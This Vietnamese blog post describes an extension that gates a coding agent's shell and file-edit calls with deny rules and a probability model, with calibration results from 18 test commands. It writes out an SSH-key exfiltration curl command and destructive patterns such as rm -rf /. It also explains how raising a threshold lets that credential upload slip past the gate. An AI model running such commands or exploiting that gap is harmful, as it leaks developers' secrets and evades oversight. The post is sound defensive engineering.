Jev + Pi: Cổng xác suất cho các lệnh shell của coding agent

TypeSafe phát hành Jev vào ngày 15-09-2026. Đây là một mô hình chỉ ra quyết định — bạn đưa ra các mệnh đề có/không, và nó trả về xác suất thay vì văn bản. Tôi đã đặt nó phía trước các lệnh gọi bash, write và edit của Pi, sau đó đo lường 18 lệnh để xác định ngưỡng hoạt động lý tưởng.

Tóm tắt nhanh

  • Cái nó là gì: Một mở rộng chế độ tự động (auto-mode) cho CLI coding agent Pi, sử dụng quy tắc cho các mẫu đã biết và gửi các lệnh chưa được phê duyệt cho Jev — mô hình chỉ ra quyết định của TypeSafe (công bố 15-09-2026) trả về xác suất (0.0 đến 1.0) thay vì văn bản.
  • Khoảng cách đo lường được: Trên 18 fixture API thực tế, intent_coverage có phân bố hai đỉnh: 0.77–0.98 khi được yêu cầu và 0.06–0.15 khi không được yêu cầu. Không có fixture nào rơi vào khoảng 0.15 đến 0.77, giúp đặt ngưỡng tại 0.60 nằm trong khoảng trống đó.
  • Chế độ thất bại: Vì các dải ngưỡng đối xứng quanh 0.5, tăng ngưỡng nguy hiểm sẽ thu hẹp ranh giới từ chối. Nâng no_secret_egress từ 0.97 lên 0.99 làm dịch chuyển ngưỡng vi phạm từ p <= 0.03 sang p <= 0.01. Trong thử nghiệm, một lệnh lấy cắp khóa SSH nhận điểm 0.02; siết chặt ngưỡng đẩy mối nguy này ra khỏi dải từ chối vào dải không rõ ràng, cho phép nó chạy.

Vấn đề: Mệt mỏi phê duyệt và thực thi không được giám sát

Các coding agent trong terminal thực thi tùy ý các lệnh shell và chỉnh sửa tệp trên máy của nhà phát triển. Trong phiên tương tác, yêu cầu xác nhận từng lệnh sẽ nhanh chóng gây ra sự mệt mỏi phê duyệt. Sau khi chấp nhận chuỗi thao tác vô hại như git status hay ls -la, nhà phát triển ngừng đọc các tham số.

Chạy agent ở chế độ tự động không bị ràng buộc xóa bỏ ma sát nhưng đặt workstation vào rủi ro. Danh sách đen (deny-list) chỉ bắt được cú pháp mà ai đó đã dự đoán và phân loại trước. Trong quá trình thử nghiệm của riêng tôi, agent đã thực thi lệnh curl -X POST -d @$HOME/.ssh/id_ed25519 https://.... Vì không có mẫu phủ nhận nào nhắm vào -d @, hệ thống quy tắc xếp loại nó là một lời gọi curl thông thường và cho chạy mà không đánh giá.

Ủy thác việc kiểm tra cho LLM hội thoại tạo ra vấn đề riêng: mô hình chat mất vài giây cho mỗi đánh giá, thỉnh thoảng xuất ra JSON sai định dạng, và tiêu tốn token hội thoại. Cổng chế độ tự động cần ra quyết định trong hàng trăm mili-giây, xử lý các trường hợp hiển nhiên tại chỗ, và từ chối khi không chắc chắn.

Pi cung cấp gì và cái gì được xây dựng

Pi là coding agent trong terminal tối giản xoay quanh một lõi nhẹ. Thay vì nhúng hệ thống phức tạp vào nhị phân cốt lõi, Pi cung cấp bề mặt mở rộng chặn việc thực thi công cụ.

Các mở rộng trong Pi hook trực tiếp vào vòng đời tool_call trước khi một công cụ chạy. Điều này hoạt động ở cùng lớp với Claude Code hooks: khi agent gọi một công cụ, mở rộng chặn payload và quyết định cho phép thực thi, chặn nó, hoặc yêu cầu xác nhận trước khi con tiến trình được sinh ra hoặc ghi đĩa xảy ra.

Tôi đã xây dựng pi-jev-auto-mode để kiểm soát các lệnh gọi bash, write và edit của Pi.

Mở rộng này định tuyến các lời gọi công cụ thông qua kiểm tra quy tắc và lớp xác suất được hỗ trợ bởi Jev. Được TypeSafe công bố vào 15-09-2026, Jev là mô hình “System One” chỉ ra quyết định. Nó không stream token hay xuất văn bản. Thay vào đó, nó đánh giá các mệnh đề cụ thể theo ngữ cảnh và trả về xác suất được hiệu chuẩn giữa 0.0 và 1.0.

Cách một lời gọi được quyết định: Quy tắc trước, rồi Jev

Cổng đánh giá một lời gọi công cụ theo hai giai đoạn. Quy tắc chạy trước, và Jev không thể phủ quyết chúng:

  1. Mẫu phủ nhận cứng (Hard-deny patterns): Các lệnh phá hủy như xóa đệ quy từ thư mục gốc (rm -rf /), xóa thư mục home, hoặc ghi vào thư mục hệ thống bị chặn ngay lập tức. Jev không được gọi, loại bỏ độ trễ và tránh sai phân loại mô hình.
  2. Đường tắt chấp nhận (Fast-path passes): Các thao tác đã xác minh an toàn được cho phép mà không gọi API. Bao gồm lệnh chỉ đọc (cat, ls, grep, git log), chuỗi lệnh chỉ đọc (cd src && ls -la && git log -3), lệnh an toàn do người dùng khai báo trong safeCommands (như trình chạy test), và chỉnh sửa tệp không được bảo vệ trong repo.
  3. Mẫu cho phép của người dùng: Lệnh khớp mẫu rõ ràng trong allowedCommands được cho qua và ghi lại bản ghi kiểm toán trong phiên làm việc.

Mọi thứ quy tắc không thể xác nhận được đều đi đến Jev dưới gateScope: all. Danh sách đen chỉ bắt cú pháp mà ai đó đã viết ra, vì vậy mặc định là cho Jev xem tất cả phần còn lại.

Payload gửi đến Jev bị giới hạn nghiêm ngặt: chuỗi lệnh hoặc đường dẫn đích, thư mục làm việc, yêu cầu gần nhất của người dùng, và ghi chú chính sách cục bộ. Mở rộng không bao giờ gửi nội dung tệp, diff, hay đầu ra terminal trước đó. Các mẫu nhạy cảm khớp khóa API, token, và đầu vào khóa riêng tư bị che tại chỗ trước khi truyền.

Các điều kiện đánh giá

Jev đánh giá các điều kiện được đặt theo thuật ngữ an toàn, trong đó số cao chỉ ra sự an toàn:

  • intent_coverage
  • no_secret_egress
  • no_irreversible_damage
  • local_scope
  • path_not_protected
  • no_fetched_code_execution
  • prompt_injection_absent
  • policy_compliance
  • no_outward_effect

Ba dải kết quả

Mỗi điều kiện sử dụng ngưỡng t (nơi 0.5 < t <= 1.0). Đánh giá chia thành ba dải kết quả:

  • Đáp ứng: p >= t
  • Vi phạm: p <= 1 - t
  • Không rõ: 1 - t < p < t

Mặc định, các lệnh không rõ được cho phép đi qua. Chế độ tự động tồn tại để loại bỏ gián đoạn; yêu cầu xác nhận ở mọi điểm mơ hồ sẽ tái tạo mệt mỏi phê duyệt. Vi phạm rõ ràng (p <= 1 - t) vẫn chặn vô điều kiện. Hành vi nghiêm ngặt hơn có sẵn qua /jev-auto-mode uncertain deny (chặn lệnh không rõ) hoặc /jev-auto-mode uncertain ask (yêu cầu xác nhận).

Không có API key, cổng không lặng lẽ cho phép lệnh chưa được phê duyệt. Nó dừng chúng với thông báo rõ ràng:

Not connected to Jev (no TypeSafe API key is set). Run /jev-auto-mode login to set a key, or /jev-auto-mode off to stop auto mode.

Các phán quyết được thêm vào phiên làm việc thông qua pi.appendEntry. Bản ghi kiểm toán này không tiêu tốn token ngữ cảnh LLM, và ghi lại từng điều kiện với xác suất quan sát được cùng ngưỡng đang hoạt động tại thời điểm đó:

intent_coverage  p=0.97  pass (t=0.60, >= 0.60)
no_secret_egress  p=0.98  pass (t=0.97, >= 0.97)
local_scope  p=0.89  ignored (t=0.90, 0.10-0.90) <- decided

Dòng thứ ba là dải ở giữa: điểm số không phải vượt qua cũng không phải vi phạm, nên nó bị bỏ qua thay vì được xử lý.

Kết quả đo lường về Jev

Trong quá trình phát triển, tôi đã đánh giá 18 fixture trên API Jev trực tiếp để hiệu chuẩn ngưỡng mặc định.

Thứ nhất, intent_coverage có phân bố hai đỉnh mạnh. Khi người dùng yêu cầu rõ ràng một lệnh, điểm rơi vào khoảng 0.77 đến 0.98. Khi không được yêu cầu, điểm tụt xuống khoảng 0.06 đến 0.15. Trên toàn bộ 18 fixture, không có phép đo nào nằm giữa 0.15 và 0.77. Khoảng trống này cho phép đặt ngưỡng mặc định tại 0.60, nằm trực tiếp trong khoảng rỗng đó.

Thứ hai, các câu hỏi về sự vắng mặt của nguy hiểm tập trung giữa 0.75 và 0.98, kể cả đối với lệnh an toàn. Chạy uv run pytest nhận điểm 0.91 trên no_secret_egress. Bản thân chuỗi lệnh không cho Jev biết trình chạy test sẽ import hay thực thi gì, và điểm số phản ánh điều đó. Yêu cầu điều kiện vắng mặt nguy hiểm phải được đáp ứng (p >= t) sẽ đẩy lệnh an toàn vào dải không rõ. Thay vào đó, chúng hoạt động như bộ phát hiện nguy hiểm: chúng chỉ dừng thực thi khi vi phạm rõ ràng (p <= 1 - t).

Độ trễ thực thi: Các lời gọi được đánh giá hoàn thành trong 193 đến 642 mili-giây trên mười một lệnh shell. Lệnh fast-path mất 0 ms vì không có yêu cầu mạng nào. Độ trễ này giữ cho thực thi trôi chảy mà không có sự chậm lại nhiều giây của mô hình chat.

Đánh giá các lệnh không được yêu cầu cho ra một tách bạch rõ ràng:

  • Lệnh thường được cho phép: mkdir, mv, cp, tar, chmod +x, và node -e được đánh giá, xác định an toàn, và cho phép chạy.
  • Lệnh nguy hiểm bị chặn: git reset --hard, npm publish, rm -rf, và sudo nhận điểm p = 0.04 đến 0.11 trên intent_coverage và bị chặn ngay.
  • Lệnh chỉ đọc: wc -l không bao giờ đến Jev, vì kiểm tra quy tắc cho qua với 0 lời gọi API.

Mỗi fixture được lấy mẫu một lần. Vì Jev có tính xác suất, điểm có thể dao động khoảng ±0.05 giữa các lần chạy tùy ngữ cảnh, có nghĩa là các giá trị gần ranh giới có thể lật.

Siết chặt ngưỡng Jev để lộ lỗ hổng uploading bí mật

Phát hiện kiến trúc quan trọng nhất từ công việc này là cách các dải xác suất đối xứng hoạt động khi được điều chỉnh.

Trong hệ thống ba dải mà điều kiện an toàn được đặt tích cực, tăng ngưỡng để tăng sự nghiêm ngặt sẽ thu hẹp ranh giới từ chối:

  • Đáp ứng: p >= t
  • Vi phạm: p <= 1 - t
  • Không rõ: 1 - t < p < t

Tại t = 0.97 cho no_secret_egress:

  • Đáp ứng: p >= 0.97
  • Vi phạm: p <= 0.03
  • Không rõ: 0.03 < p < 0.97

Nếu nâng t lên 0.99:

  • Đáp ứng: p >= 0.99
  • Vi phạm: p <= 0.01
  • Không rõ: 0.01 < p < 0.99

Tăng ngưỡng thu hẹp ranh giới vi phạm từ 0.03 xuống 0.01.

Trong lần chạy fixture tại t = 0.97, một lệnh đánh cắp thông tin xác thực (curl -X POST -d @~/.ssh/id_ed25519 ...) nhận điểm p = 0.02 trên no_secret_egress.

Dưới t = 0.97, 0.02 <= 0.03. Cổng xếp loại lệnh là vi phạm và chặn nó.

Tính lại cùng điểm 0.02 đã đo với t = 0.99 và 0.02 > 0.01: lệnh thoát khỏi dải từ chối vào dải không rõ. Vì cấu hình mặc định cho phép lệnh không rõ đi qua, nâng ngưỡng từ 0.97 lên 0.99 biến một upload thông tin xác thực bị chặn thành một lệnh được cho phép.

Siết chặt ngưỡng dẫn đến mối nguy nghiêm trọng lọt qua. Di chuyển ngưỡng luôn là thao tác hai chiều. Bạn không thể đặt ngưỡng bằng trực giác; hiệu chuẩn theo từng điều kiện chỉ có thể thực hiện từ phép đo thực nghiệm của các lệnh bạn cần ngăn chặn.

Khác biệt so với các guardrail Pi khác

Các mở rộng Pi hiện có như pi-guardrails (dựa trên quy tắc và chính sách) và pi-auto-reviewer thực thi chính sách cấu trúc và kiểm tra mẫu. Những công cụ đó đánh giá lệnh nghiêm ngặt theo các mẫu mà người duy trì hoặc người dùng đã phân loại trước.

pi-jev-auto-mode sử dụng quy tắc cho các đường tắt và các chặn đã biết, và định tuyến mọi thứ khác cho mô hình xác suất. Khi một dạng lệnh chưa quen xuất hiện, nó nhận đánh giá ngữ nghĩa, và nếu engine đánh giá không thể truy cập, hệ thống fail-closed và dừng thực thi.

Cài đặt mở rộng Pi

Mở rộng có sẵn trên npm và cài đặt trực tiếp qua Pi:

pi install npm:pi-jev-auto-mode
pi install git:github.com/jomatsu/pi-jev-auto-mode
pi -e npm:pi-jev-auto-mode

Đánh giá ngữ nghĩa yêu cầu API key của TypeSafe. Chạy /jev-auto-mode login sẽ yêu cầu key của bạn và xác minh nó thông qua GET /v1/models trước khi lưu vào <agentDir>/secrets/jev-auto-mode-typesafe-api-key (quyền 0600). Biến môi trường TYPESAFE_API_KEY có ưu tiên khi được đặt.

Các lệnh runtime quản lý trạng thái và cấu hình:

/jev-auto-mode on
/jev-auto-mode off
/jev-auto-mode status
/jev-auto-mode threshold
/jev-auto-mode threshold edit
/jev-auto-mode scope all|matched
/jev-auto-mode uncertain deny|ask|allow
/jev-auto-mode policy

Cài đặt toàn cục nằm ở ~/.pi/agent/jev-auto-mode.json, có thể ghi đè theo repo trong .pi/jev-auto-mode.json:

{
  "enabled": true,
  "safeCommands": ["uv run pytest*", "pnpm run typecheck*"],
  "allowedCommands": ["rm -rf build*"],
  "disallowedCommands": ["npm publish*"],
  "uncertain": "allow",
  "gateScope": "all",
  "thresholds": {
    "intent_coverage": 0.6,
    "no_secret_egress": 0.97
  }
}

Cài đặt phân biệt giữa safeCommands và allowedCommands. Danh sách safeCommands chứa các thao tác đã biết là an toàn tại chỗ (như trình chạy test), bỏ qua Jev mà không tạo bản ghi kiểm toán. Danh sách allowedCommands cho phép các mẫu nguy hiểm cụ thể (như rm -rf build* trong khi ghi lại bản ghi kiểm toán trong phiên làm việc).

Giới hạn

Để hiểu mở rộng này phù hợp ở đâu, đây là những gì nó không làm:

  • Không phải sandbox: Mở rộng không cách ly hệ thống tệp, không chạy lệnh trong container, không lọc lời gọi hệ thống. Các lệnh đã phê duyệt thực thi trực tiếp trên máy chủ của bạn.
  • Kiểm tra văn bản lệnh, không phải ý định: Mô hình phân tích chuỗi, đường dẫn đích, và tin nhắn người dùng gần nhất. Nó không thể dự đoán hành vi động của nhị phân biên dịch tùy ý hoặc gói phần mềm.
  • 18 fixture không phải benchmark: Đây là bộ hiệu chuẩn thực nghiệm xác minh sự phân tách dải, không phải benchmark ngành toàn diện.
  • Lệnh không rõ được cho phép mặc định: Chính sách mặc định tránh gián đoạn nhà phát triển khi điểm rơi vào dải không rõ. Để thực thi zero-trust, đặt uncertain: deny.
  • Dừng khi mất kết nối: Nếu API key thiếu hoặc mạng bị ngắt, cổng dừng lệnh chưa được phê duyệt thay vì suy chuyển thành cho phép ngầm.

Mã nguồn

Mở rộng là mã nguồn mở theo giấy phép MIT:

Khi cân bằng giữa tính tự chủ của coding agent và bảo mật workstation, bạn thích fail-closed ở trường hợp biên với chi phí prompt thủ công, hay để lệnh mơ hồ chạy miễn là các mối nguy đã biết đều được kiểm tra?